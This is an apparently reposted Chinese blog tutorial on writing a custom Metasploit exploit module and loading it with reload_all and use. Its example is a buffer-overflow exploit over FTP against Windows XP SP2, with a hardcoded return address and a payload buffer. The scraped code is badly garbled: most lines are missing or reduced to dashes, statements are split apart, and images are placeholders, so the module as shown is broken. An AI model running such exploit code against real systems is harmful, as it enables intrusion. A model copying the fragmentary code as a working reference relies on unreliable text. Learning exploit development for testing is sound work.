轉載:https://blog.csdn.net/SilverMagic/article/details/40978081html
- 首先在/usr/share/metasploit-framework/modules/exploits/目錄下新建一個自定義文件夾,例如fwdtest
![](http://static.javashuo.com/static/loading.gif)
- 仿造exploits目錄下的其餘exp(rb文件)編寫本身的exp.rb腳本(這邊用0day安全:軟件漏洞分析技術裏的一個栗子)
-
root@kali:/usr/share/metasploit-framework/modules/exploits/fwdtest
# ls
-
-
root@kali:/usr/share/metasploit-framework/modules/exploits/fwdtest
# cat 0day1.rb
-
-
# This
module requires Metasploit: http
-
-
-
-
class Metasploit3 < Msf::Exploit::Remote
-
include Msf::Exploit::Remote::Ftp
-
def initialize(info = {})
-
-
'Name' => 'security test',
-
-
This
module exploits a buffer overflow.
-
-
-
'License' => MSF_LICENSE,
-
-
-
-
-
-
-
-
-
-
[
'Windows XP Pro SP2 English', {
'Ret' =>
0x7c809f83 } ],
-
-
-
-
-
-
-
attack_buf += [target.ret].pack(
'V')
-
attack_buf += payload.encoded
-
-
-
-
-
-
root@kali:/usr/share/metasploit-framework/modules/exploits/fwdtest#
![](http://static.javashuo.com/static/loading.gif)
- 在msf提示符下輸入reload_all從新加載全部模塊
![](http://static.javashuo.com/static/loading.gif)
- 在msf提示符下輸入use exploit/fwdtest/exp(輸入的時候能夠用tab補全,若是不能補全說明就有問題)
![](http://static.javashuo.com/static/loading.gif)